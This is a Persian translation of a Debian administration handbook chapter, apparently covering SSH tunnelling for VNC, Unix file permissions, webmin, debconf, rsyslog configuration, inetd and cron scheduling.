دستور ssh -L localhost:5901:localhost:5900 -N -T machine یک تونل بین پورت ۵۹۰۱ محلی در رابط شبکه localhost و پورت ۵۹۰۰ از میزبان machine ایجاد می‌کند. اولین “localhost” به SSH می‌گوید که تنها روی این رابط شبکه از رایانه محلی متمرکز باشد. دومین “localhost” نشان‌دهنده رابط شبکه رایانه راه‌دور است که ترافیک دریافتی را از طریق “localhost:5901” می‌فرستد. بنابراین vncviewer localhost:1 کلایت VNC را به نمایشگر راه‌دور متصل کرده، با اینکه نام رایانه محلی را ذکر کرده‌اید.

زمانی که نشست VNC به پایان رسید به یاد داشته باشید که باید نشست SSH مربوط به آن را نیز خاتمه دهید.

بازگشت به مقدمات مدیر نمایش

gdm، kdm، xdm و lightdm مدیر نمایش هستند. آن‌ها وظیفه کنترل کردن رابط گرافیکی بعد از راه‌اندازی اولیه سیستم به منظور فراهم کردن صفحه ورودی برای کاربر را به عهده دارند. زمانی که کاربر وارد سیستم شود برنامه‌ای را اجرا می‌کنند که میزکار گرافیکی را فراهم می‌آورد.

VNC همچنین برای کاربران یک شرکت، مانند مدیران اجرایی، که نیاز به دسترسی به رایانه شرکت از خانه خود را دارند بکار می‌رود. پیکربندی چنین سرویسی کمی پیچیده‌تر است: ابتدا بسته vnc4server را نصب می‌کنید، پیکربندی مدیر نمایش را به منظور قبول درخواست‌های XDMCP Query تغییر می‌دهید (برای gdm3، اینکار با افزودن Enable=true در قسمت “xdmcp” از فایل /etc/gdm3/daemon.conf صورت می‌گیرد) و در نهایت سرور VNC را با استفاده از inetd آغاز می‌کنید به طوری که هر زمان کاربر درخواست داد نشست مربوطه آغاز گردد. برای نمونه، می‌توانید این خط را به فایل /etc/inetd.conf بیفزایید:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

هدایت ارتباطات ورودی به مدیر نمایش مشکل احراز هویت را حل می‌کند، چرا که تنها کاربران با حساب‌های کاربری محلی می‌توانند از صفحه gdm3 عبور کنند (یا معادل kdm، xdm و از این قبیل). از آنجا که این عملیات امکان چندین ورودی مختلف را فراه می‌کند (در صورت قوی بودن سرور)، می‌تواند برای ارائه میزکارهای گرافیکی برای کاربران سیار (یا برای سیستم‌های رومیزی ضعیف‌تر) استفاده شود. کاربران تنها کافی است با استفاده از vncviewer server:50 به سرور متصل شوند، چرا که پورت مورد استفاده ۵۹۵۰ است.

9.3. مدیریت دسترسی

لینوکس بدون شک یک سیستم چندکاربره حقیقی است، پس فراهم کردن یک سیستم محوز برای کنترل عملیات مورد مجاز روی فایل‌ها و دایرکتوری‌ها، که شامل تمام منابع و دستگاه‌های سیستم می‌شود، امری لازم و ضروری است (در یک سیستم یونیکس، هر دستگاهی توسط یک فایل یا دایرکتوری مشحص می‌گردد). این اصل درباره تمام سیستم‌های یونیکس صدق می‌کند، اما ذکر این نکته مفید است که کاربردهای پیشرفته دیگری نیز برای این منظور وجود دارند.

هر فایل یا دایرکتوری شامل مجوزهای مشخصی برای سه گروه از کاربران است:

مالک آن (که با حرف u از کلمه “user” نمایش می‌یابد)؛

گروه مالک آن (که با حرف g از کلمه “group” نمایش می‌یابد) که بیانگر تمام اعضای آن گروه است؛

دیگران (که با حرف o از کلمه “other” نمایش می‌یابد).

سه نوع دسترسی قابل ترکیب هستند:

خواندن (که با خرف r از کلمه “read” نمایش می‌یابد)؛

نوشتن یا تغییردادن (که با حرف w از کلمه “write” نمایش می‌یابد).

اجرا کردن (که با حرف x از کلمه “eXecute” نمایش می‌یابد).

در مورد یک فایل این دسترسی‌ها به سادگی قابل درک هستند: دسترسی خواندن اجازه خواندن محتوا را می‌دهد (از جمله رونوشت گرفتن)، دسترسی نوشتن اجازه تغییر آن را می‌دهد و دسترسی اجراکردن اجازه اجرای فایل را می‌دهد (که در صورت برنامه بودن معنی دارد).

امنیت برنامه‌های اجرایی setuid و setgid

دو دسترسی مشحص مربوط به فایل‌های اجرایی هستند: setuid و setgid (که با حرف “s” نمایش می‌یابند). نکته اینکه با اغلب از “بیت” صحبت می‌کنیم، چرا که هر یک از این مقادیر می‌توانند با ۰ یا ۱ نمایش داده شوند. این دو دسترسی اجازه اجرا برنامه توسط هر کاربری که مالک آن مالک گروه آن باشد را می‌دهند. این مکانیزم اجازه دسترسی بالاتر به قابلیت‌هایی را می‌دهد که ممکن است خارج از محدوده اختیارات کاربر باشد.

از آنجا که یک برنامه setuid تحت نظارت کاربر root اجرا می‌شود، امنیت و پایداری آن از اهمیت بالایی برخوردار است. در حقیقت، کاربری که قصد استفاده از آن را دارد می‌تواند با دسترسی root به کل سیستم اشراف داشته باشد.

یک دایرکتوری به شیوه متفاوتی مدیریت می‌شود. دسترسی خواندن اجازه فهرست‌گیری از محتوای آن را می‌دهد (فایل‌ها و دایرکتوری‌ها)، دسترسی نوشتن اجازه ایجاد یا حذف فایل‌ها را می‌دهد و دسترسی اجرا کردن اجازه عبور و مرور از دایرکتوری را می‌دهد (به خصوص هنگام استفاده از دستور cd). توانایی عبور از یک دایرکتوری بدون آنکه قادر باشیم محتوای آن را بخوانیم اجازه دسترسی به موارد شناخته شده در آن را می‌دهد، اما در صورتی که نام یا محل فایل را ندانیم نمی‌توان آن‌ها را پیدا کرد.

امنیت دایرکتوری setgid همراه با sticky bit

بیت setgid همچنین بر دایرکتوری نیز اعمال می‌شود. هر محتوای جدیدی که داخل آن ایجاد گردد بجای آنکه گروه اصلی کاربر ایجادکننده را شامل شود به صورت خودکار گروه مالک دایرکتوری والد را به ارث می‌برد. این گروه از تغییر نام گروه اصلی توسط کاربر جلوگیری می‌کند (با دستور newgrp) زمانی که در یک ساختار درختی از فایل‌های اشتراکی بین کاربران یک گروه استفاده شود.

بیت “چسبنده” (که با حرف “t” نمایش می‌یابد) نوعی مجوز است که تنها در دایرکتوری‌ها بکار می‌رود. به طور مخصوص در دایرکتوری‌های موقتی استفاده می‌شود که همگان دسترسی نوشتن داشته باشند (مانند /tmp/): از حذف فایل‌ها جلوگیری می‌کند به صورتی که تنها مالک فایل (یا مالک دایرکتوری والد) قادر به انجام آن باشد. بدون این ویژگی، هر کسی می‌تواند محتوای موجود در /tmp/ را حذف کند.

سه دستور وجود دارند که مجوزهای مربوط به یک فایل را کنترل می‌کنند:

chown user file مالک فایل را تغییر می‌دهد؛

chgrp group file گروه مالک را تغییر می‌دهد؛

chmod rights file مجوزهای مربوط به فایل را تغییر می‌دهد.

دو روش برای ارائه دسترسی‌ها وجود دارد. از میان آن‌ها، شیوه نمادین به سادگی فرا گرفته و آموخته می‌شود. این شیوه شامل حروف نمادین ذکر شده در بالا هستند. می‌توانید برای هر دسته‌بندی از کاربران (u/g/o) دسترسی تعیین کنید با تنظیم آن‌ها به صورت انفرادی (با =)، با افزودن (+) یا کاستن (-). بنابراین فرمول u=rwx,g+rw,o-r به مالک فایل دسترسی خواندن، نوشتن و اجراکردن، به گروه مالک دسترسی خواندن و نوشتن و دسترسی خواندن را از سایر افراد می‌گیرد. دسترسی‌هایی که در چنین دستوری ذکر نشده باشند بدون تغییر باقی می‌مانند. حرف a، به معنی “all”، تمام دسته‌بندی‌های کاربران را شامل می‌شود. بنابراین، a=rx به سه دسته‌بندی موجود تمام دسترسی‌ها را (خواندن و اجراکردن، ولی نه نوشتن) می‌دهد.

نمایش عددی (اوکتال) هر دسترسی را به یک عدد نسبت می‌دهد: ۴ برای خواندن، ۲ برای نوشتن و ۱ برای اجراکردن. ترکیب دسترسی‌های یک گروه را با جمع اعداد آن به دست می‌آوریم. هر مقدار به دسته‌بندی‌های مختلف کاربران نسبت داده می‌شود درست به همان ترتیبی که قرار دارند (مالک، گروه و دیگران).

برای نمونه، دستور chmod 754 file دسترسی‌های زیر را تنظیم می‌کند: خواندن، نوشتن و اجراکردن برای مالک (چرا که ۷ = ۴ + ۲ + ۱)؛ خواندن و اجراکردن برای گروه (چرا که ۵ = ۴ + ۱)؛ خواندن برای دیگران. عدد 0 یعنی دسترسی وجود ندارد؛ بنابراین دستور chmod 600 file اجازه دسترسی خواندن و نوشتن را به مالک می‌دهد و هیچ دسترسی دیگری را شامل نمی‌شود. متداول‌ترین دسترسی‌های موجود عبارتند از 755 برای فایل‌ها و دایرکتوری‌های قابل اجرا و 644 برای فایل‌های داده‌ای.

برای نمایش دسترسی‌های ویژه، می‌توانید یک عدد چهارم نیز به قبل از آن اضافه کنید که بیت‌های setuid، setgid و sticky به ترتیب نشانگر ۴ و ۲ و ۱ هستند. دستور chmod 4754 بیت setuid را به همراه دسترسی‌های موجود اضافه می‌کند.

نکته اینکه استفاده از شیوه عددی برای تنظیم تمام دسترسی‌ها بکار می‌رود؛ پس نمی‌توانید از آن برای افزودن تنها یک دسترسی، مانند دسترسی خواندن برای گروه مالک، استفاده کنید چرا که باید تمام دسترسی‌های موجود و اعداد مربوط به آن‌ها را نیز به حساب بیاورید.

نکته عملیات بازگشتی

بعضی وقت‌ها باید دسترسی‌های تمام درخت فایل را تغییر دهیم. تمام دستورات بالا شامل گزینه -R هستند که امکان عملیات بازگشتی روی دایرکتوری‌ها را فراهم می‌آورد.

تفاوت بین فایل‌ها و دایرکتوری‌ها بعضی وقت‌ها برای عملیات بازگشتی مشکل آفرین می‌شود. به همین دلیل است که حرف “X” را در شیوه نمادین دسترسی‌ها معرفی کردیم. این حرف نشانگر اجرای یک دسترسی تنها روی دایرکتوری‌ها است (و نه فایل‌هایی که فاقد این دسترسی هستند). بنابراین، دستور chmod -R a+X directory تنها دسترسی اجراکردن را برای تمام دسته‌بندی کاربران (a) برای تمام دایرکتوری‌های فرزند و فایل‌هایی که حداقل یک دسته‌بندی از کاربر (حتی برای مالک انحصاری آن‌ها) هم‌اکنون دسترسی اجراکردن را داشته باشد، بکار می‌رود.

نکته تغییر کاربر و گروه

بسیار پیش می‌آید که می‌خواهید به طور همزمان گروه و کاربر یک فایل را تغییر دهید. دستور chown یک شیوه بخصوص برای اینکار دارد: chown user:group file

مطالعه بیشتر umask

زمانی که یک برنامه اقدام به ایجاد فایل می‌کند، به آن دسترسی‌های مشخصی اعطا می‌کند، با اینکه می‌داند سیستم به صورت خودکار و با استفاده از umask دسترسی‌ها اضافی را از بین می‌برد. umask را در یک پوسته اجرا کنید؛ یک ماسک به صورت 0022 را می‌بینید. این عدد نشانگر دسترسی‌هایی است که باید حذف گردند (در این مورد، دسترسی نوشتن برای گروه و سایر کاربران).

اگر عدد اوکتال دیگری به آن نسبت دهید، دستور umask اقدام به تغییر ماسک می‌کند. اگر اینکار را در یک فایل راه‌انداز پوسته ثبت کنید (برای نمونه، ~/.bash_profile)، ماسک پیش‌فرض برای نشست‌های کاری شما را تغییر می‌دهد.

9.4. رابط‌های مدیریتی

استفاده از یک رابط گرافیکی برای مدیریت سیستم گزینه جالبی در بسیاری موارد به حساب می‌آید. یک مدیرسیستم الزاما تمام جزئیات پیکربندی تمام سرویس‌ها را نمی‌داند، همیشه نیز زمان کافی برای بررسی مستندات مورد نیاز خود ندارد. یک رابط گرافیکی برای انجام امور مدیریتی می‌تواند زمان برپایی یک سرویس جدید را کاهش دهد. همچنین می‌تواند فرآیند برپایی سرویس‌هایی که دشوار هستند را تسهیل بخشد.

چنین رابطی یک ابزار میانی به حساب می‌آید، اما گزینه نهایی نیست. در تمام موارد، مدیرسیستم باید با جنبه‌های گوناگون آن آشنا باشد تا بتواند مشکلات را به راحتی عیب‌زدایی کند.

از آنجا که هیچ رابط گرافیکی کاملی وجود ندارد، ممکن است بخواهید گزینه‌های مختلفی را امتحان کنید. البته اینکار تا آنجا که ممکن است نباید انجام شود، چرا که رابط‌های گوناگون شیوه‌هایی متفاوتی را برای حل مساله بیان می‌کنند. حتی اگر در انجام امور خیلی انعطاف‌پذیر باشند و به فایل پیکربندی به عنوان منبع نگاه کنند، همیشه نمی‌توانند تغییرات خارجی اعمال شده روی آن را مدیریت کنند.

9.4.1. مدیریت سیستم با استفاده از یک رابط تحت-وب: webmin

این گزینه، بودن شک، یکی از موفق‌ترین رابط‌های مدیریتی سیستم به شمار می‌رود. یک سیستم ماژولار است که از طریق مرورگر مدیریت می‌گردد که قسمت اعظمی از تنظیمات و ابزارها را شامل می‌شود. علاوه بر این، قابلیت چند زبانه بودن دارد که می‌تواند در هر زبانی استفاده گردد.

شكل 9.5. Webmin dashboard

Sadly, webmin is no longer part of Debian. Its Debian maintainer — Jaldhar H. Vyas — removed the packages he created because he no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Buster does not have the webmin package.

اگرچه، یک بسته غیررسمی روی وبسایت webmin.com موجود است. برخلاف بسته‌های اصلی دبیان، این بسته ساختاری یکپارچه دارد؛ تمام ماژول‌های پیکربندی آن به صورت پیش‌فرض نصب و فعال می‌شوند، با اینکه ممکن است سرویس متناظر با آن‌ها روی سیستم موجود نباشد.

امنیت تغییر گذرواژه root

در اولین ورود، احراز هویت با استفاده از حساب کاربری root و گذرواژه آن صورت می‌گیرد. توصیه می‌شود که در اولین فرصت گذرواژه webmin تغییر یابد، چرا که در زمان نفوذ به سیستم، گذرواژه حساب کاربری root سیستم درگیر نشود، حتی اگر باعث اعطاکردن دسترسی‌های مهم به سیستم شده باشد.

آگاه باشید! از آنجا که webmin شامل ویژگی‌های بسیاری است، یک کاربر خرابکار می‌تواند امنیت کل سیستم را از بین ببرد. در حالت عمومی، رابط‌های گرافیکی از این دست گزینه‌های مناسبی برای سیستم‌های مهم با مدل‌های امنیت پیشرفته نیستند (دیوارآتش، سرورهای حساس و از این قبیل).

Webmin از طریق یک رابط وب استفاده می‌شود، اما برای استفاده نیاز به سرور آپاچی ندارد. در حقیقت، این نرم‌افزار یک وب‌سرور کوچک مخصوص به خود را دارد. این سرور به صورت پیش‌فرض به پورت ۱۰۰۰۰ گوش می‌دهد و درخواست‌های امن HTTP را می‌پذیرد.

ماژول‌های داخل آن شامل سرویس‌های بسیار متنوعی هستند، از جمله:

تمام سرویس‌های پایه: ایجاد کاربران و گروه‌ها، مدیریت فایل‌های crontab، اسکریپت‌های راه‌انداز، مشاهده فایل‌های گزارش و از این قبیل.

bind: پیکربندی سرور DNS (نام سرویس)؛

postfix: پیکربندی سرور SMTP (ایمیل)؛

inetd: پیکربندی ابر-سرور inetd؛

quota: مدیریت فضای دیسک کاربر؛

dhcpd: پیکربندی سرور DHCP؛

proftpd: پیکربندی سرور FTP؛

samba: پیکربندی سرور فایل Samba؛

software: نصب و حذف نرم‌افزار از بسته‌های دبیان و بروزرسانی سیستم.

رابط مدیریتی توسط یک مرورگر وب از نشانی https://localhost:10000 قابل دسترس است. آگاه باشید! تمام ماژول‌ها به طور مستقیم قابل استفاده نیستند. بعضی وقت‌ها نیاز است که مسیر فایل‌های پیکربندی و برنامه‌های اجرایی به خصوصی را برای آن‌ها مشخص کنید. معمولا سیستم هر گاه نتواند یک ماژول خواسته شده را فعال کند از شما به شکل محترمانه‌ای پرسش‌های خود را مطرح می‌کند.

جایگزین مرکز کنترل GNOME

پروژه GNOME نیز چندین رابط مدیریتی که معمولا از گزینه “Settings” در منوی کاربری در سمت راست و بالای صفحه قرار دارد را ارائه می‌دهد. gnome-control-center برنامه اصلی است که تمام ابزار پیکربندی سیستم را در کنار یکدیگر جمع می‌کند اما این ابزار خود از بسته‌های گوناگونی آمده‌اند (accountsservice، system-config-printer و از این قبیل). اگرچه استفاده از آن‌ها ساده است، این برنامه‌ها تنها تعداد محدودی از سرویس‌های پایه را پوشش می‌دهند: مدیریت کاربر، پیکربندی زمان، پیکربندی شبکه، پیکربندی چاپگر و به همین ترتیب.

9.4.2. پیکربندی بسته‌ها: debconf

بسیاری از بسته‌ها هنگام فرآیند نصب توسط ابزار Debconf پس از پرسیدن چند پرسش پیکربندی می‌شوند. این بسته‌ها مجدد می‌توانند با استفاده از دستور dpkg-reconfigure package پیکربندی گردند.

در اکثر موارد، این تنظیمات بسیار ساده هستند؛ تنها تعداد معدودی متغیر در فایل‌های پیکربندی تغییر می‌کنند. این متغیرها اغلب بین دو خط “علامت‌گذاری” می‌شوند تا پیکربندی مجدد بسته تنها در قسمت مربوطه اعمال شود. در سایر موارد، پیکربندی مجدد در صورت مشاهده تغییرات دستی در فایل‌های پیکربندی، هیچ تغییری را انجام نمی‌دهد (چرا که اسکریپت نمی‌تواند تشخیص دهد که تغییرات خود منجر به اختلال در سیستم موجود می‌گردد یا خیر).

خط‌مشی دبیان حفظ تغییرات

خط‌مشی دبیان بیان می‌کند که هر گونه تغییر دستی در فایل‌های پیکربندی باید حفظ شوند، بنابراین اسکریپت‌های بیشتری هنگام ویرایش این فایل‌ها به این اصل توجه می‌کنند. اصل عمومی ساده است: اسکریپت تنها زمانی تغییرات را اعمال می‌کند اگر از وضعیت فایل پیکربندی آگاه باشد، که این امر با بررسی checksum موجود از فایل با آخرین نسخه تولید شده آن صورت می‌گیرد. اگر یکی باشند آنگاه اسکریپت اقدام به تغییر فایل می‌نماید. در غیر اینصورت، تشخیص می‌دهد که فایل تغییر کرده و از کاربر می‌پرسد چه اقدامی باید صورت گیرد (استفاده از فایل جدید، ذخیره‌سازی فایل قدیم یا تلاش برای ادعام هر دو فایل). این اصل احتیاطی مدت طولانی است که در دبیان وجود دارد اما امروزه سایر توزیع‌ها نیز از آن بهره می‌برند.

برنامه ucf (از بسته دبیان با همین نام) می‌تواند برای پیاده‌سازی چنین عملکردی استفاده شود.

9.5. syslog رویدادهای سیستمی

9.5.1. اصل و مکانیزم

فرآیند پس‌زمینه rsyslogd مسئول دریافت پیام‌های ارسالی از کرنل و برنامه‌های مختلف است تا آن‌ها را به فایل‌های گزارش مخابره کند (که معمولا در دایرکتوری /var/log/ ذخیره می‌شوند). این دستور از فایل پیکربندی /etc/rsyslog.conf تبعیت می‌کند.

هر پیام گزارش متناسب با یک زیرسیستم از برنامه است (که در مستندات با نام “facility” شناخته می‌شود):

auth و authpriv: برای احراز هویت؛

cron: که از سرویس‌های مدیریت وظیفه مانند cron و atd می‌آید؛

daemon: روی یک فرآیند پس‌زمینه بدون هیچ طبقه‌بندی خاصی تاثیر می‌گذارد (DNS، NTP و از این قبیل)؛

ftp: مرتبط با سرور FTP؛

kern: پیامی که از کرنل می‌آید؛

lpr: از زیرسیستم چاپ نشات می‌گیرد؛

mail: از زیرسیستم ایمیل نشات می‌گیرد؛

news: پیام زیرسیستم Usenet (به خصوص از سمت یک سرور NTP - Network News Transfer Protocol - که گروه‌های خبری را مدیریت می‌کند)؛

syslog: پیام‌هایی که از خود سرور syslogd می‌آیند؛

user: پیام‌های کاربر (عمومی)؛

uucp:پیام‌های ارسالی از سرور UUCP (Unix to Unix Copy Program، یک پروتکل قدیمی برای انتقال پیام‌های ایمیل)؛

local0 تا local7: رزرو شده برای استفاده محلی؛

هر پیام همچنین با یک سطح اولویت نیز همراه است. اینجا فهرستی از آن‌ها به صورت کاهش درجه اهمیت قرار دارد:

emerg: “کمک!” یک موقعیت اضطراری وجود دارد، سیستم به احتمال زیاد غیرقابل استفاده خواهد شد.

alert: عجله کن، هر تاخیری ممکن است خطرناک باشد، اقدام باید در اولین فرصت صورت گیرد؛

crit: شرایط بحرانی است؛

err: خطا؛

warn: هشدار (خطای احتمالی)؛

notice: شرایط عادی است، اما پیام حائز اهمیت است؛

info: پیام آگاهی‌رسان؛

debug: پیام عیب‌زدایی؛

9.5.2. فایل پیکربندی

شیوه دستوری فایل /etc/rsyslog.conf در صفحه راهنما rsyslog.conf(5) آمده است، اما همچنین مستندات HTML آن در بسته rsyslog-doc نیز قرار دارد (/usr/share/doc/rsyslog-doc/html/index.html). اصل کبی نوشتن جفت‌های “selector” و “action” است. selector تمام پیام‌های مرتبط را انتخاب می‌کند و action می‌گوید چطور با آن‌ها برخورد شود.

9.5.2.1. شیوه دستوری انتخابگر

انتخابگر یک فهرست دوتایی از subsystem.priority است که با ; از هم جدا شده‌اند (نمونه: auth.notice;mail.info). یک * نشان‌دهنده کل زیرسیستم‌ها یا اولویت‌ها می‌باشد (نمونه: *.alert یا mail.*). چندین زیرسیستم با استفاده از , می‌توانند گروه‌بندی شوند (نمونه: auth,mail.info). اولویت مشخص شده شامل تمام پیام‌های با آن اولویت یا بالاتر می‌باشد؛ بنابراین auth.alert نشان‌دهنده زیرسیستم auth با اولویت alert یا emerg است. اگر با یک علامت ! پیشوند شود، نشانگر خلاف آن عمل است، به عبارت دیگر اولویت‌های پایین‌تر؛ auth.!notice، بنابراین نشان‌دهنده پیام‌های زیرسیستم auth با اولویت info یا debug است. اگر با = پیشوند شود، تنها همان اولویت مشخص شده را شامل می‌گردد (auth.=notice تنها شامل پیام‌های زیرسیستم auth با اولویت notice می‌باشد).

هر عنصر موجود در فهرست selector عنصر قبلی را خنثی می‌کند. بنابراین امکان جداسازی یا محدودساختن برخی عناصر وجود دارد. برای نمونه، kern.info;kern.!err یعنی پیام‌های ارسالی کرنل با اولویت بین info و warn. اولویت none نشان‌دهنده مجموعه خالی است (بدون اولویت) و ممکن است برای خارج‌کردن یک زیرسیستم از مجموعه پیام‌ها بکار رود. پس، *.crit;kern.none یعنی تمام پیام‌های با اولویت برابر یا بزرگتر از crit که از کرنل نمی‌آیند.

9.5.2.2. شیوه دستوری اقدامات

بازگشت به مقدمات لوله نامگذاری شده، یک حالت پایدار

یک لوله نامگذاری شده نوع مشخصی از فایل است که مانند یک لوله سنتی کار می‌کند (عملگری که با استفاده از نماد “|” ایجاد می‌کنید) اما از طریق یک فایل. این مکانیزم مزیت مرتبط کردن دو فرآیند نامربوط را دارا است. هر چیزی که به یک لوله نامگذاری شده ارسال شود فرآیند نوشتن را متوقف می‌کند تا زمانی که یک فرآیند دیگر تلاش برای خواندن داده نوشته‌شده انجام دهد. این فرآیند دوم با خواندن داده توسط فرآیند اول که آن را نوشته است موجب ادامه عملیات اجرایی می‌گردد.

چنین فایلی با استفاده از دستور mkfifo ایجاد می‌گردد.

اقدامات ممکن عبارتند از:

افزودن پیام به یک فایل (نمونه: /var/log/messages)؛

ارسال پیام به یک سرور راه‌دور syslog (نمونه؛ @log.falcot.com)؛

ارسال پیام به یک لوله موجود نامگذاری شده (نمونه: |/dev/xconsole)؛

ارسال پیام به یک یا چند کاربر، اگر در سیستم حاضر باشند (نمونه: root,rhertzog)؛

ارسال پیام به تمام کاربران حاضر در سیستم (نمونه: *)؛

نوشتن پیام در یک کنسول متنی (نمونه: /dev/tty8).

امنیت فورواردکردن گزارش‌ها

ایده خوبی است که مهم‌ترین گزارش‌ها را در یک سیستم جداگانه ثبت کنیم (که شاید برای همین منظور وجود داشته باشد)، چرا که اینکار احتمال خرابکاری نفوذگرهای احتمالی در از بین بردن رد پایشان را از بین می‌برد (مگر اینکه این سیستم جداگانه را نیز تحت نظر بگیرند). به علاوه، در زمان بروز یک مشکل بزرگ (مانند کرش کردن کرنل)، به گزارش‌ها در سیستم دوم دسترسی دارید که شانس شناسایی عوامل موجود در بروز حادثه را افزایش می‌دهد.

برای پذیرش پیام‌های گزارش ارسال شده توسط سایر رایانه‌ها، باید rsyslog را پیکربندی مجدد کنید: در عمل، تنها کافی است قابلیت ready-for-use را در فایل /etc/rsyslog.conf فعال سازید ($ModLoad imudp و $UDPServerRun 514).

9.6. ابر-سرور inetd

Inetd (که اعلب “ابر-سرور اینترنت” خوانده می‌شود) یک سرور از سرورها است. سرورهای کم کاربرد را هر زمان نیاز باشد راه‌اندازی می‌کند، به صورتی که نیاز به اجرای مداوم و بی استفاده نداشته باشند.

فایل /etc/inetd.conf این سرورها و پورت‌های متداول را فهرست می‌کند. دستور inetd به تمام آن‌ها گوش کرده؛ زمانی که برقرای ارتباط با پورتی را شناسایی کند، برنامه سرور مربوط به آن را اجرا می‌کند.

خط‌مشی دبیان ثبت‌کردن یک سرور در inetd.conf

بسته‌ها به صورت متداول می‌خواهند که سرورهای جدید را در فایل /etc/inetd.conf اضافه کنند، اما خط‌مشی دبیان از تغییر فایل پیکربندی که متعلق به یک بسته نیست جلوگیری می‌نماید. به همین دلیل است که اسکریپت update-inetd (در بسته‌ای با همین نام) بوجود آمده است: این برنامه فایل پیکربندی را مدیریت کرده و به سایر بسته‌ها امکان ویرایش آن را فراهم می‌آورد.

هر خط مشخص در فایل /etc/inetd.conf بیانگر یک سرور با هفت فیلد است (که با فاصله از هم جدا شده‌اند)؛

شماره پورت TCP یا UDP، یا نام سرویس (که به یک پورت استاندارد بر اساس اطلاعات موجود در فایل /etc/services نگاشت شده است).

نوع سوکت: stream برای یک ارتباط TCP و dgram برای یک ارتباط UDP.

پروتکل: tcp یا udp.

گزینه‌ها: دو مقدار موجود wait یا nowait که به inetd می‌گوید آیا برای اتمام فرآیند اجرا شده صبر کند یا خیر. برای ارتباطات TCP، معمولا می‌توان از nowait استفاده کرد. برای برنامه‌هایی که به UDP پاسخ می‌دهند، تنها زمانی از nowait باید استفاده کنید که سرور قادر به مدیریت چندین ارتباط به صورت همزمان باشد. می‌توانید این فیلد را با استفاده از کاما پسوند کنید، به همراه حداکثر تعداد مجاز ارتباطات در دقیقه (حد پیش‌فرض برابر با ۲۵۶ است).

نام کاربری برای کاربری که تحت مجوزهای او سرور اجرا می‌شود.

مسیر کامل برنامه سرور جهت اجرا شدن.

آرگومان‌ها: این یک فهرست کامل از آرگومان‌های برنامه است، که شامل نام خود نیز می‌شود (argv[0] در زبان C).

نمونه زیر شامل متداول‌ترین گزینه‌ها است:

مثال 9.1. چکیده‌ای از /etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd ident stream tcp nowait nobody /usr/sbin/identd identd -i

برنامه tcpd به طور متداول در فایل /etc/inetd.conf بکار رفته است. این برنامه امکان محدودسازی ارتباطات دریافتی را با اعمال کردن قواعد کنترل دسترسی فراهم می‌سازد که در صفحه راهنمای hosts_access(5) مستندسازی شده و گزینه‌هایی که در فایل‌های /etc/hosts.allow و /etc/hosts.deny قرار گرفته است. زمانی که تشخیص دهد ارتباط دریافتی احرازهویت شده است، tcpd سرور حقیقی آن را اجرا می‌کند (مانند in.fingerd در نمونه بالا). شایان ذکر است که tcpd برای شناسایی برنامه مورد نظر جهت اجرا به نامی وابسته است که طی آن فراخوانی می‌شود (آرگومان اول، argv[0]). پس نباید فهرست آرگومان‌ها را با tcpd آغاز کنید بلکه با برنامه‌ای که قصد اجرای آن را دارد.

جامعه کاربری Wietse Venema

Wietse Venema، که تخصص بالایش در حوزه امنیت او را به یک برنامه‌نویس مشهور تبدیل کرده، خالق برنامه tcpd است. او همچنین خالق اصلی Postfix است، سرویس ایمیل انعطاف‌پذیر (SMTP یا Simple Main Transfer Protocol) که جایگزین امن‌تر و مناسب‌تر برنامه sendmail است که تاریخچه طولانی از آسیب‌پذیری‌های امنیتی را دارد.

جایگزین سایر دستورات inetd

با اینکه دبیان به صورت پیش‌فرض از openbsd-inetd استفاده می‌کند، گزینه‌های جایگزین دیگری نیز وجود دارند: می‌توان به inetutils-inetd، micro-inetd، rlinetd و xinetd اشاره کرد.

این آخرین گزینه از ابر-سرورها قابلیت‌های جالبی را ارائه می‌دهد. مهم‌تر اینکه، پیکربندی آن می‌تواند از طریق چندین فایل در دایرکتوری /etc/xinetd.d/ ایجاد شود، که این امر برای مدیرسیستم‌ها مزیت مهمی به حساب می‌آید.

Last but not least, it is even possible to emulate inetd's behavior with systemd's socket-activation mechanism (see قسمت 9.1.1, “سیستم راه‌انداز systemd” ).

9.7. زمان‌بندی وظیفه‌ها با cron و atd

cron یک فرآیند پس‌زمینه برای اجرای دستورات تکراری و زمان‌بندی شده است (هر روز، هر هفته و از این قبیل)؛ atd اما تنها یک بار برنامه را در زمان مشخص اجرا می‌کند.

در یک سیستم یونیکس، بسیاری از وظیفه‌ها برای اجرای مداوم زمان‌بندی می‌شوند:

چرخش گزارش‌ها؛

بروزرسانی پایگاه‌داده برای برنامه locate؛

پشتیبان‌گیری؛

اسکریپت‌های نگهداری (مانند پاکسازی فایل‌های موقت).

به صورت پیش‌فرض، تمام کاربران می‌توانند برنامه‌های خود را زمان‌بندی کنند. هر کاربر فایل crontab مخصوص به خود را دارد که در آن می‌توانند برنامه‌ها را زمان‌بندی کنند. با استفاده از دستور crontab -e می‌توان آن را ویرایش کرد (محتویات آن در فایل /var/spool/cron/crontabs/user نگهداری می‌شود).

امنیت محدودسازی cron یا atd

برای محدودسازی cron می‌توانید با ایجاد یک فایل دسترسی مجاز در /etc/cron.allow به فهرست‌سازی کاربرانی بپردازید که می‌توانند عملیات زمان‌بندی را انجام دهند. سایر کاربران به صورت خودکار از این قابلیت محروم خواهند شد. بر عکس این موضوع نیز صادق است، زمانی که می‌خواهید چند کاربر مشکل‌آفرین را از این ویژگی محروم کنید که می‌توانید فهرست آنان را در فایل /etc/cron.deny قرار دهید. همین قابلیت برای atd نیز موجود است توسط فایل‌های /etc/at.allow و /etc/at.deny.

کاربر root crontab مخصوص به خود را دارد، اما می‌تواند از فایل /etc/crontab نیز استفاده کند یا فایل‌های اضافی در دایرکتوری /etc/cron.d قرار دهد. این دو گزینه آخر امکان مشخص کردن کاربر هنگام اجرای یک دستور به خصوص را بوجود می‌آورند.

بسته cron شامل چند دستور زمان‌بندی است که عبارتند از:

برنامه‌های موجود در /etc/cron.hourly/ به صورت ساعتی اجرا می‌شوند؛

برنامه‌های موجود در /etc/cron.daily/ به صورت روزانه اجرا می‌شوند؛

برنامه‌های موجود در /etc/cron.weekly/ به صورت هفتگی اجرا می‌شوند؛

برنامه‌های موجود در /etc/cron.monthly/ به صورت ماهانه اجرا می‌شوند.

